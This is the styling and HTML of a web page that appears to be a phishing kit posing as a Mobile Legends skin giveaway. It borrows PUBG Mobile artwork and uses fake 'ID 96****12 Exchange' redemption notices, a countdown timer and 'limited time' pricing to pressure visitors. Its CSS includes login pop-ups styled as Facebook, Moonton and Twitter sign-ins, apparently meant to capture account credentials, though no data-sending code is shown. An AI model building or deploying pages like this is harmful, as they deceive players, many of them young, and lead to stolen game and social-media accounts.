      padding-top: 25px;
      margin-left: auto;
      margin-right: auto;	
      float: center;
      text-align: center;
      display: inline-block;
      }
      .footer-txt-copyrights {
      color: #bdbdbd;
      padding:10px;
      padding-top:20px;
      padding-bottom:20px;
      font-size: 14px;
      font-family:arial;
      text-align: center;
      }
      .footer-txt-join {
      margin-top: 10px;
      margin-bottom: 15px;
      color: #ffbe21;
      font-size: 30px;
      font-family: laza;
      text-align: left;
      text-transform: uppercase;
      }
      .footer-txt-twitter {
      margin-top: -3px;
      margin-bottom: -10px;
      color: #ffbe21;
      font-size: 25px;
      font-family: teko;
      text-align: center;
      }
      .footer-socmed-box {
      background: url(https://www.pubgmobile.com/en/images/footer_link_bg.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      height: 55px;
      margin-bottom: 10px;
      padding: 5px;
      border-radius: 3px;
      }
      .footer-socmed-box:hover {
      background: url(https://www.pubgmobile.com/en/images/footer_link_bg_on.png) no-repeat center center;
      background-size: 100% 100%;
      transition: 1s;
      }
      .footer-socmed-img-main {
      width: 30px;
      height: 30px;
      margin-top: 7px;
      margin-left: 15px;
      margin-right: 15px;
      float: left;
      }
      .footer-socmed-img-other {
      width: 35px;
      height: 26px;
      margin-top: 10px;
      margin-left: 15px;
      margin-right: 11px;
      float: left;
      }
      .footer-socmed-box p {
      margin-top: 7px;
      color: #fff;
      font-size: 25px;
      font-family: Teko;
      text-align: left;
      text-transform: uppercase;
      }
      .footer-socmed-box button {
      background: #ffbe21;
      width: 30%;
      height: auto;
      margin-top: 10px;
      margin-bottom: 10px;
      margin-right: 15px;
      padding: 1px;
      padding-top: 3px;
      color: #000;
      font-size: 16px;
      font-family: Teko;
      text-align: center;
      text-transform: uppercase;
      border: none;
      border-radius: 2px;
      outline: none;
      float: right;
      }
      .verify-box-navbar {
      background-size: 100% 100%;
      width: 93%;
      height: 19%;
      margin-left: auto;
      margin-right: auto;
      display: block;
      }
      .verify-box-navbar-description {
      width: 50%;
      margin-top: 50px;
      margin-right: 20px;
      color: #fff;
      font-size: 18px;
      font-family: Teko;
      font-weight: 500;
      text-align: left;
      float: right;
      }
      .verify-box-navbar-form {
      background-size: 100% 100%;
      width: 93%;
      height: auto;
      margin-top: 25px;
      margin-left: auto;
      margin-right: auto;
      display: block;
      }
      .verify-box-navbar-form input {
      background: url(img/verify-bg.png) no-repeat center center;
      background-size: 100% 100%;
      width: 95%;
      height: 40px;
      margin-left: 10px;
      margin-bottom: 4px;
      padding: 4px;
      padding-left: 10px;
      padding-right: auto;
      color: #f1f1f0;
      font-size: 15px;
      font-family: laza;
      font-weight: 500;
      border: 2px solid #232323;
      position: relative;
      outline: none;
      -webkit-appearance: none;
      -moz-appearance: none;
      border-radius: 15px;
      }
      .verify-box-navbar-form input::placeholder {
      color: #f1f1f0;
      }
      .verify-box-navbar-form select {
      background: url(img/verify-bg.png) no-repeat center center;
      background-size: 100% 100%;
      width: 95%;
      height: 40px;
      margin-left: 10px;
      margin-bottom: 4px;
      padding: 4px;
      padding-left: 10px;
      padding-right: auto;
      color: #f1f1f0;
      font-size: 15px;
      font-family: laza;
      font-weight: 500;
      border: 2px solid #232323;
      position: relative;
      outline: none;
      -webkit-appearance: none;
      -moz-appearance: none;
      border-radius: 15px;
      }
      .verify-box-content {
      background-size: 100% 100%;
      width: 93%;
      height: auto;
      margin-top: -1px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 15px;
      padding: 20px;
      padding-top: 0px;
      padding-bottom: 25px;
      display: block;
      }
      .verify-box-content-title {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 6px;
      color: #fff;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .verify-box-content-title i {
      padding-top: 15px;
      padding-bottom: 15px;
      color: #f1f1f0;
      margin-top: 29px;
      font-size: 100px;
      text-align: center;
      }
      .verify-box-content button {
      background: url(img/submit.png) no-repeat center center;
      background-size: 76% 77%;
      width: 55%;
      height: 55px;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 9px;
      padding-top: 8px;
      padding-left: 20px;
      padding-right: 20px;
      color: #030303;
      font-size: 19px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      border: none;
      display: block;
      }
      .about-box-content {
      background: url(img/aboutrules-sec.png) no-repeat center center;
      background-size: 100% 100%;
      width: 96%;
      height: 120px;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 20px;
      padding-left: auto;
      padding-right: auto;
      float: center;
      color: #000;
      display: block;
      }
      .about-box-content-title {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 6px;
      color: #000;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .about-box-content-title i {
      padding-top: 15px;
      padding-bottom: 15px;
      color: #000;
      font-size: 100px;
      text-align: center;
      }
      figure {
      margin: 0;
      padding: 0;
      overflow: hidden;
      }
      .itemShine figure {
      position: relative;
      }
      .itemShine figure::before {
      background: -webkit-linear-gradient(left, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, .3) 100%);
      background: linear-gradient(to right, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, .3) 100%);
      width: 50%;
      height: 100%;
      top: 0;
      left: -75%;
      position: absolute;
      z-index: 2;
      content: '';
      display: block;
      -webkit-transform: skewX(-25deg);
      transform: skewX(-25deg);
      }
      .itemShine figure::before {
      -webkit-animation: shine 2s infinite;
      animation: shine 2s infinite;
      }
      @-webkit-keyframes shine {
      100% {
      left: 125%;
      }
      }
      @keyframes shine {
      100% {
      left: 125%;
      }
      }
      .kanan {
      float: right;
      }
      .kiri {
      float: left;
      }
      .tengah {
      margin-left: auto;
      margin-right: auto;
      display: block;
      }
      ::-webkit-scrollbar {
      display: none;
      width: 0px;
      }
      .twitter-load {
      background-size: 100% 100%;
      width: 93%;
      height: 388px;
      margin-top: 0px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 15px;
      padding: 20px;
      padding-top: 0px;
      padding-bottom: 25px;
      display: block;
      }
      .twitter-load-title {
      width: 95%;
      height: auto;
      margin-top: 70px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 6px;
      padding-top: 90px;
      color: #fff;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .twitter-load-title i {
      margin-top: 90px;
      padding-top: 15px;
      padding-bottom: 15px;
      color: #00acee;
      font-size: 50px;
      text-align: center;
      }
      .moonton-load {	
      background-size: 100% 100%;
      width: 93%;
      height: 421px;
      margin-top: 0px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 15px;
      padding: 20px;
      padding-top: 0px;
      padding-bottom: 25px;
      display: block;
      }
      .moonton-load-title {
      width: 95%;
      height: auto;
      margin-top: 70px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 6px;
      padding-top: 90px;
      color: #fff;
      font-size: 18px;
      font-family:laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .moonton-load-title i {
      margin-top: 90px;
      padding-top: 15px;
      padding-bottom: 15px;
      color: #00acee;
      font-size: 50px;	
      text-align: center;
      }
      .fb-load {
      background-size: 100% 100%;
      width: 93%;
      height: 304px;
      margin-top: -1px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 15px;
      padding: 20px;
      padding-top: 0px;
      padding-bottom: 25px;
      display: block;
      }
      .fb-load img {
      width: 50px;
      height: 50px;
      margin-top: 215px;
      margin-bottom: -55px;
      }
      .fb-load-title {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 6px;
      color: #999998;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .fb-load-title i {
      margin-top: 200px;
      padding-top: 15px;
      padding-bottom: 15px;
      color: #999998;
      font-size: 30px;
      text-align: center;
      }
      .event-notification {
      width: 93%;
      height: 53px;
      padding: 7px;
      margin-right: auto;
      margin-left: auto;
      }
      .event-notification-txt {
      padding-top: 10px;
      padding-left: 34px;
      color: #dbff85;
      font-size: 16px;
      font-family: Teko;
      font-weight: 550;
      text-align: left;
      float: left;
      }
      .scroll {
      overflow: scroll;
      position: relative;
      width: 100%;
      height: 358px;
      margin-top: 0px;
      margin-left: auto;
      margin-right: auto;
      display: block;
      scrollbar-face-color: #ffbb40;
      scrollbar-shadow-color: #ffbb40;
      scrollbar-highlight-color: #ffbb40;
      scrollbar-3dlight-color: #ffbb40;
      scrollbar-darkshadow-color: #ffbb40;
      scrollbar-track-color: #ffbb40;
      scrollbar-arrow-color: #ffbb40;
      }
      .timer {
      background: url(img/bg_tip2.png) no-repeat center center;
      background-size: 71% 106%;
      width: 100%;
      height: 12%;
      margin-top: 403px;
      margin-right: 0px;
      display: block;
      padding-top: 15px;
      padding-left: 45px;
      text-align: center;
      font-size: 13px;
      font-family: laza4;
      font-weight: 500;
      color: #000000;
      font-style: oblique;
      text-shadow: 1px 1px 1px #f1f1f1;
      position: absolute;
      }
      .alter-text {
      display: block;
      margin-left: 14px;
      margin-right: 0;
      margin-top: -31px;
      margin-bottom: 32px;
      overflow: hidden;
      text-align: center;
      white-space: nowrap;
      width: 92%;
      }
      .alter-text>span {
      display: inline-block;
      position: relative;
      color: #ffffff;
      cursor: default;
      font-size: 11px;
      text-shadow: none;
      }
      .alter-text>span:before,
      .alter-text>span:after {
      background: #9093A6;
      border-bottom: 1px solid #9093A6;
      content: "";
      height: 1px;
      position: absolute;
      top: 50%;
      width: 43px;
      }
      .alter-text>span:before {
      margin-right: 15px;
      right: 100%;
      }
      .alter-text>span:after {
      left: 100%;
      margin-left: 15px;
      }
      .notifgift {
      background: url(img/bg_tip3.png) no-repeat center center;
      position: absolute;
      opacity: 100%;
      color: #000000;
      text-shadow: 1px 1px 1px #ffffff;
      border-radius: 2px;
      background-size: 77% 100%;
      width: 97%;
      height: 34px;
      margin-top: 20px;
      padding-top: 9px;
      padding-right: 0px;
      text-align: center;
      font-size: 12px;
      font-family: laza;
      font-weight: 500;
      display: block;
      }
      .box-rewards {
      background-size: 105% 100%;
      width: 100%;
      height: auto margin-left:auto;
      margin-top: 0px;
      margin-right: auto;
      margin-bottom: 10px;
      border: 0px solid #E29E53;
      border-radius: 5px;
      position: relative;
      display: block;
      }
      .box-item-rewards {
      width: 100%;
      height: auto;
      padding-top: 20px;
      margin-right: auto;
      }
      .itemz {
      background: linear-gradient(45deg, #743f9b, #bdbdbd);
      background-size: 100% 100%;
      border: 2px solid #acacac;
      border-top-left-radius: 7px;
      border-top-right-radius: 7px;
      width: 26%;
      height: 26%;
      margin: 3px;
      margin-bottom: 34px;
      display: inline-block;
      box-shadow: 0px 0px 4px #000;
      }
      .item {
      border-top-left-radius: 4px;
      border-top-right-radius: 4px;
      width: 22%;
      height: 38%;
      margin: 4px;
      margin-bottom: 29px;
      display: inline-block;
      }
      .item2 {
      background: linear-gradient(45deg, #743f9b, #bdbdbd);
      background-size: 100% 100%;
      border: 2px solid #acacac;
      border-top-left-radius: 13px;
      border-top-right-radius: 13px;
      width: 26%;
      height: 26%;
      margin: 3px;
      margin-bottom: 34px;
      display: inline-block;
      }
      .item3 {
      background: linear-gradient(45deg, #743f9b, #bdbdbd);
      background-size: 100% 100%;
      border: 2px solid #acacac;
      border-top-left-radius: 13px;
      border-top-right-radius: 13px;
      width: 26%;
      height: 26%;
      margin: 3px;
      margin-bottom: 34px;
      display: inline-block;
      }
      .item .item-nominal {
      padding-right: 4px;
      color: #fff;
      font-size: 25px;
      font-family: DINMITTELSCHRIFTSTD;
      text-align: right;
      position: absolute;
      }
      .item-label .marquee {
      white-space: nowrap;
      font-family: laza;
      overflow: hidden;
      display: inline-block;
      animation: marquee 10s linear infinite;
      }
      .item-label .marquee a {
      display: inline-block;
      }
      @keyframes marquee {
      0% {
      transform: translate3d(0, 0, 0);
      }
      100% {
      transform: translate3d(-50%, 0, 0);
      }
      }
      .item img {
      width: 100%;
      height: 100%;
      margin-top: 6%;
      margin-bottom: 4%;
      border-top-left-radius: 7px;
      border-top-right-radius: 7px;
      border-bottom-right-radius: 7px;
      border-bottom-left-radius: 7px;
      }
      .item-label {
      width: 100%;
      overflow: hidden;
      color: #ffffff;
      text-shadow: 1px 1px 1px #000000;
      font-size: 10px;
      font-family: laza;
      font-weight: 550;
      text-align: center;
      margin-top: -13px;
      margin-bottom: 3px;
      }
      .item-hot {
      background: #FFC107;
      width: 34px;
      color: #ffffff;
      text-shadow: 1px 1px 1px #000000;
      font-size: 9px;
      font-family: sans-serif;
      font-weight: 500;
      text-align: center;
      margin-top: -65px;
      margin-left: 3px;
      padding: 1px;
      border-top-right-radius: 7px;
      border-bottom-left-radius: 7px;
      position: absolute;
      }
      .item-pcs {
      color: #ffffff;
      text-shadow: 1px 1px 1px #000000;
      font-size: 14px;
      font-family: 'laza';
      font-weight: 550;
      text-align: center;
      margin-top: -19px;
      margin-left: 25px;
      position: absolute;
      }
      .item p {
      background: url(img/collect.png);
      background-size: 100% 100%;
      width: 97%;
      margin-left: 0px;
      height: 24px;
      padding: 3px;
      padding-top: 5px;
      padding-left: 18px;
      color: #fff;
      text-shadow: 1px 1px 1px #000000;
      box-shadow: 0px 0px 2px 0px #000000c7;
      font-size: 13px;
      font-family: arial;
      font-weight: 500;
      text-align: center;
      margin-top: 0px;
      }
      .item pz {
      background: url(img/button.png);
      background-size: 100% 100%;
      width: 104%;
      margin-left: -2px;
      height: 27px;
      padding: 3px;
      padding-top: 7px;
      padding-left: 18px;
      border: 1px solid #acacac;
      color: #000;
      text-shadow: 1px 1px 1px #ffffff;
      font-size: 13px;
      font-family: 'laza';
      font-weight: 500;
      text-align: center;
      margin-top: 2%;
      border-bottom-right-radius: 7px;
      border-bottom-left-radius: 7px;
      box-shadow: 0px 0px 4px #000;
      }
      .item p img {
      margin-left: -25px;
      margin-bottom: -6px;
      width: 20px;
      height: auto;
      border: none;
      position: absolute;
      margin-top: -2.5px;
      }
      .item s {
      text-decoration: line-through;
      color: #adadad;
      }
      .LabelCards_card_label_box__Hcfaa {
      box-sizing: border-box;
      left: 6px;
      overflow: hidden;
      position: absolute;
      right: 6px;
      top: 6px;
      z-index: 1;
      }
      .lazabox {
      background: url(img/lazabox.png);
      background-size: 100% 100%;
      width: 100%;
      height: 70%;
      margin-top: -230px;
      object-position: center;
      }
      .pd-giftbox {
      position: absolute;
      top: 41.8%;
      left: 64%;
      transform: translateX(-0.645rem);
      }
      .rtl .pd-giftbox {
      direction: ltr
      }
      .pd-giftbox>img:nth-child(1) {
      position: absolute;
      top: -43px;
      left: 25px;
      z-index: 2;
      width: 6.2rem;
      height: 4.92rem;
      transform: rotate(-18deg);
      transform-origin: 100% 100%;
      -moz-transform-origin: 100% 100%;
      -webkit-transform-origin: 100% 100%;
      -o-transform-origin: 100% 100%;
      animation: gift-box-hat-kf 5s infinite;
      -moz-animation: gift-box-hat-kf 5s infinite;
      -webkit-animation: gift-box-hat-kf 3s infinite;
      -o-animation: gift-box-hat-kf 3s infinite
      }
      .pd-giftbox>img:nth-child(2) {
      position: absolute;
      width: 7.29rem;
      height: 5.1rem;
      }
      @keyframes gift-box-hat-kf {
      0% {
      transform: rotate(0deg)
      }
      12.5% {
      transform: rotate(0deg)
      }
      25% {
      transform: rotate(-18deg)
      }
      37.5% {
      transform: rotate(-18deg)
      }
      50% {
      transform: rotate(0deg)
      }
      62.5% {
      transform: rotate(0deg)
      }
      75% {
      transform: rotate(-18deg)
      }
      87.5% {
      transform: rotate(-18deg)
      }
      100% {
      transform: rotate(0deg)
      }
      }
      .yun {
      position: absolute
      }
      .yun1_1 {
      width: 35px;
      height: 18px;
      left: 10px;
      top: 63px;
      background: url(img/lazcloud/yun1_1.png) 0/100% 100% no-repeat
      }
      .yun1_2 {
      width: 19px;
      height: 12px;
      left: 10px;
      top: 130px;
      background: url(img/lazcloud/yun1_2.png) 0/100% 100% no-repeat
      }
      .yun1_3 {
      width: 57px;
      height: 20px;
      left: 215px;
      top: 72px;
      background: url(img/lazcloud/yun1_3.png) 0/100% 100% no-repeat
      }
      .yun2_1 {
      width: calc(136 / 1920 * 100vw);
      height: calc(61 / 1920 * 100vw);
      left: calc(93 / 1920 * 100vw);
      top: calc(141 / 1920 * 100vw);
      background: url(img/lazcloud/yun2_1.png) 0/100% 100% no-repeat
      }
      .yun2_2 {
      width: calc(561 / 1920 * 100vw);
      height: calc(207 / 1920 * 100vw);
      left: calc(99 / 1920 * 100vw);
      top: calc(207 / 1920 * 100vw);
      background: url(img/lazcloud/yun2_2.png) 0/100% 100% no-repeat
      }
      .yun2_3 {
      width: 68px;
      height: 25px;
      left: 293px;
      top: 19px;
      background: url(img/lazcloud/yun2_3.png) 0/100% 100% no-repeat
      }
      .yun2_4 {
      width: 71px;
      height: 29px;
      left: 290px;
      top: 141px;
      background: url(img/lazcloud/yun2_4.png) 0/100% 100% no-repeat;
      }
      .yun2_5 {
      width: 69px;
      height: 27px;
      left: 10px;
      top: 158px;
      background: url(img/lazcloud/yun2_5.png) 0/100% 100% no-repeat
      }
      .yun2_6 {
      width: 58px;
      height: 28px;
      left: 263px;
      top: 88px;
      background: url(img/lazcloud/yun2_6.png) 0/100% 100% no-repeat
      }
      .tab_rewards {
      background: url(img/box.png);
      background-size: 100% 100%;
      width: 104%;
      height: 361px;
      margin-top: 90px;
      margin-right: -8px;
      margin-left: 10px;
      padding-top: 52px;
      align-content: center;
      float: inline-end;
      opacity: 120%;
      }
      .nom {
      position: absolute;
      padding-left: 387px;
      padding-top: 51px;
      color: #fff;
      font-size: 13px;
      font-family: dinm;
      font-weight: 550;
      }
      .lazaslide p {
      background: repeating-linear-gradient(168deg, #ffffff, transparent 100px);
      background-size: 100% 100%;
      width: 312px !important;
      margin-top: 55%;
      padding-left: 5px;
      padding-right: 5px;
      padding: 3px;
      margin-left: 39px;
      float: left;
      text-align: center;
      border-top-left-radius: 7px;
      border-top-right-radius: 7px;
      border-bottom-left-radius: 7px;
      border-bottom-right-radius: 7px;
      }
      .lazaslide span {
      font-family: 'laza4';
      font-size: 12px;
      color: #000;
      text-shadow: 1px 1px 1px #ffffff;
      }
      .s3_tit {
      font-family: laza;
      color: #fff;
      margin-left: 5px;
      margin-top: 5px;
      }
      @media only screen and (max-width:600px) {
      .lazabox {
      background: url(img/lazabox.png);
      background-size: 100% 100%;
      width: 100%;
      height: 70%;
      margin-top: -230px;
      object-position: center;
      }
      .box-rewards {
      margin-top: 0px;
      width: 100%;
      height: auto;
      }
      .box-item-rewards {
      width: 100%;
      height: auto;
      padding-top: 20px;
      margin-left: auto;
      margin-right: auto;
      }
      .containerLanding,
      .containerHome {
      width: 100%;
      height: auto;
      margin-top: -3px;
      margin-bottom: 0px;
      border: none;
      border-radius: 0px;
      padding: 0px;
      }
      .slider-container {
      margin-top: -3px;
      border: none;
      }
      .laz-container {
      background: url(img/lazback.jpg) no-repeat center;
      background-size: 100% 100%;
      margin-top: -150px;
      padding: 5px;
      width: 100%;
      margin-left: 0px;
      margin-right: 0px;
      height: 480px;
      position: relative;
      }
      .gallery-container {
      float: left;
      margin-top: -2px;
      width: 100%;
      height: auto;
      border: 0px solid #fff;
      }
      .box {
      width: 100%;
      height: 405px;
      margin-top: -45px;
      margin-bottom: -25px;
      }
      .box-item {
      width: 100%;
      margin-left: auto;
      margin-right: auto;
      padding-top: 1px;
      }
      .loginpop {
      background: url(img/lazlogin.png) no-repeat center center;
      background-size: 100% 100%;
      width: 400px;
      height: 200px;
      }
      .scroll {
      height: 358px;
      }
      .lazaslide p {
      margin-top: 55%;
      margin-left: 39px;
      }
      .s3_tit {
      margin-left: 5px;
      margin-top: 5px;
      }
      .event-title {
      margin-top: -6px;
      margin-left: -5px;
      }
      .event-title2 {
      margin-top: 470px;
      margin-left: -5px;
      }
      .event-notification {
      width: 93%;
      height: 53px;
      padding: 7px;
      margin-right: auto;
      margin-left: auto;
      }
      .event-notification-text {
      padding-top: 11px;
      font-family: laza;
      font-size: 16px;
      }
      .footer {
      border-left: none;
      border-right: none;
      border-top: none;
      border-bottom: none;
      }
      .popup-box-wrapper {
      width: auto;
      margin-top: 60%;
      }
      .popup-box-wrapperz {
      width: 360px;
      margin-top: 60%;
      }
      .popup-box-wrappers {
      width: 360px;
      margin-top: 60%;
      }
      .popup-box-item {
      width: 16%;
      height: 67px;
      margin-top: 38px;
      }
      .popup-box-login-fb {
      margin-top: 35%;
      }
      .popup-box-login-moonton {
      margin-top: 25%;
      }
      .popup-box-login-twitter {
      margin-top: 40%;
      }
      .link-box {
      margin-top: 40%;
      }
      .footer {
      background-position-y: calc(500 / 640 * 210vw);
      }
      .footer-socmed-box p {
      margin-top: 12px;
      }
      .event-notification {
      background-size: auto;
      background-size: 94% 100%;
      width: 85%;
      height: 48px;
      margin-left: auto;
      margin-right: auto;
      margin-top: -2px;
      margin-bottom: -82px;
      display: block;
      }
      .event-notification-txt {
      padding-top: 10px;
      padding-left: 34px;
      color: #dbff85;
      font-size: 16px;
      font-family: Teko;
      font-weight: 550;
      text-align: left;
      float: left;
      }
      .timer {
      margin-left: -5px;
      margin-top: 404px;
      }
      .popup-box-item rw {
      top: 18px;
      right: -201px;
      }
      .popup-box-item pr {
      top: 41px;
      right: -241px;
      }
      .popup-box-item prs {
      right: -243px;
      }
      .notifgift {
      margin-top: 20px;
      }
      .event-notification-timer {
      padding-top: 44px;
      padding-right: 28px;
      color: #dbff85;
      font-size: 27px;
      font-family: Teko;
      font-weight: 550;
      text-align: left;
      margin-bottom: 13px;
      float: right;
      }
      .alert-text {
      margin-top: -330px;
      margin-left: -6px;
      padding: 7px;
      color: #ffffff;
      text-align: center;
      font-size: 14px;
      font-family: laza;
      border: none;
      }
      .alert-text-mid {
      margin-top: 1px;
      padding: 7px;
      color: #f1f1f0;
      text-align: center;
      font: 25px;
      font-family: laza;
      border: none;
      margin-right: -2px;
      font-size: 19px;
      }
      .popup-box-bg {
      background: url(img/popup-box-bg2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 109%;
      margin-top: -12px;
      margin-left: -15px;
      }
      .s1_man1 {
      display: block;
      width: calc();
      height: calc();
      background: url(img/m416.png) center/100% 100% no-repeat;
      position: absolute;
      top: 400px;
      left: calc(-80 /1920*100vw);
      bottom: calc(-23 /1920*100vw);
      animation: bounce_down 4s linear infinite;
      -webkit-animation: bounce_down 4s linear infinite
      }
      @-webkit-keyframes bounce_down {
      25% {
      -webkit-transform: translateY(-10px)
      }
      50%,
      100% {
      -webkit-transform: translateY(0)
      }
      75% {
      -webkit-transform: translateY(10px)
      }
      }
      @keyframes bounce_down {
      25% {
      transform: translateY(-10px)
      }
      50%,
      100% {
      transform: translateY(0)
      }
      75% {
      transform: translateY(10px)
      }
      }
      }
      .i {
      display: inline-flex;
      width: 8%;
      animation: anim 8.5s ease-in-out infinite;
      transform: translateY(-150%) rotate(0deg);
      }
      .n1 {
      animation-delay: 0.1s;
      }
      .n2 {
      animation-delay: 1.2s;
      }
      .n3 {
      animation-delay: 0.6s;
      margin-left: 280px;
      }
      .n4 {
      animation-delay: 1.4s;
      width: 10px;
      }
      .n5 {
      animation-delay: 0.4s;
      width: 10px;
      margin-left: 160px;
      }
      .n6 {
      animation-delay: 0.6s;
      }
      h1 {
      transform: rotate(-45deg);
      }
      @keyframes anim {
      0% {
      transform: translateY(-180%) rotate(0deg);
      }
      100% {
      transform: translateY(120vh) rotate(-360deg);
      }
      }
      .yun {
      position: absolute
      }
      .yun1_1 {
      width: 35px;
      height: 18px;
      left: 10px;
      top: 63px;
      background: url(img/lazcloud/yun1_1.png) 0/100% 100% no-repeat
      }
      .yun1_2 {
      width: 19px;
      height: 12px;
      left: 10px;
      top: 130px;
      background: url(img/lazcloud/yun1_2.png) 0/100% 100% no-repeat
      }
      .yun1_3 {
      width: 57px;
      height: 20px;
      left: 215px;
      top: 72px;
      background: url(img/lazcloud/yun1_3.png) 0/100% 100% no-repeat
      }
      .yun2_1 {
      width: calc(136 / 1920 * 100vw);
      height: calc(61 / 1920 * 100vw);
      left: calc(93 / 1920 * 100vw);
      top: calc(141 / 1920 * 100vw);
      background: url(img/lazcloud/yun2_1.png) 0/100% 100% no-repeat
      }
      .yun2_2 {
      width: calc(561 / 1920 * 100vw);
      height: calc(207 / 1920 * 100vw);
      left: calc(99 / 1920 * 100vw);
      top: calc(207 / 1920 * 100vw);
      background: url(img/lazcloud/yun2_2.png) 0/100% 100% no-repeat
      }
      .yun2_3 {
      width: 68px;
      height: 25px;
      left: 293px;
      top: 19px;
      background: url(img/lazcloud/yun2_3.png) 0/100% 100% no-repeat
      }
      .yun2_4 {
      width: 71px;
      height: 29px;
      left: 290px;
      top: 141px;
      background: url(img/lazcloud/yun2_4.png) 0/100% 100% no-repeat;
      }
      .yun2_5 {
      width: 69px;
      height: 27px;
      left: 10px;
      top: 158px;
      background: url(img/lazcloud/yun2_5.png) 0/100% 100% no-repeat
      }
      .yun2_6 {
      width: 58px;
      height: 28px;
      left: 263px;
      top: 88px;
      background: url(img/lazcloud/yun2_6.png) 0/100% 100% no-repeat
      }
    </style>
    <div class="slider-container">
      <div class="navbar">
        <img class="navbar-logo" src="img/style-img/logo.png">
        <div class="navbar-right">
          <img class="navbar-language" src="https://www.pubgmobile.com/en/images/nav_language.svg">
          <img class="navbar-language" src="https://www.pubgmobile.com/en/images/nav_menu.svg">
        </div>
      </div>
    </div>
    <!--- navbar-right --->
    </div> <!--- Banner/Video --->
    <div class="header">
      <div style="position: relative; width: 100%; overflow: hidden; padding-top: 56.25%;">
        <p><iframe style="position: absolute; top: 0; left: 0; right: 0; width: 100%; height: 100%; border: none;" src="https://www.youtube.com/embed/RriF02-Aabg?controls=0&loop=1&autoplay=1" width="560" height="315" allowfullscreen="allowfullscreen" allow="autoplay"></iframe></p>
      </div>
    </div>
    <div class="laz-home">
      <div class="laz-container" style="margin-top:-1px;">
        <div>
          <div class="slidezs" style="position: absolute;top: -217px;margin-left: -5px;">
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 96****12 Exchange Freya Galactic Vanquisher</span>
            </div>
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 92****45 Exchange Alucard Obsidian Blade</span>
            </div>
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 97****21 Exchange Gusion Cosmic Gleam</span>
            </div>
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 91****55 Exchange Granger Starfall Knight</span>
            </div>
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 93****66 Exchange Gord Conqueror</span>
            </div>
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 92****21 Exchange Lunox Divine Goddess</span>
            </div>
            <div class="lazaslide">
              <p class="gift-name animated fadeInDown">
                <span>ID 98****43 Exchange Saber Codename Storm</span>
            </div>
          </div>
          <!--- header ---> 
          <div>
            <div class="subject-event" style="opacity: 100%;"> </div>
            <div class="event-title" style="opacity: 100%;"></div>
            <div class="event-title2" style="opacity: 100%;"></div>
            <div class="timer">LIMITED TIME OFFER<br>ENDS IN: <i class="fa-solid fa-stopwatch fa-shake"></i><span id="timer1" style="animation: fade .6s infinite alternate;color: #ff2c2c;"></span></div>
            <!--- event-notification-timer --->
            <div class="box-rewards">
              <div class="box-item-rewards">
                <div class="scroll">
                  <center>
                    <div class="item itemShine" onmousedown="buka.play();"onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/1.jpg" item-name="Freya - Galactic Vanquisher" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/1.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();"onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/2.jpg" item-name="Granger - Starfall Knight" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/2.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/3.jpg" item-name="Gord - Conqueror" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/3.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/4.jpg" item-name="Gusion - Cosmic Gleam" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/4.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
                    <div class="item itemShine" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="img/reward/withBg/8.jpg" item-name="Alucard Obsidian Blade" item-total="" item-price="3">
                      <div>
                        <figure>
                          <img style="border-bottom: 0px;" src="img/reward/8.jpg">
                        </figure>
                      </div>
                      <div>
                        <p>
                          <img src="img/tokens.png">
                          <s>100</s> 
                          <d>
                          3
                      </div>
                    </div>
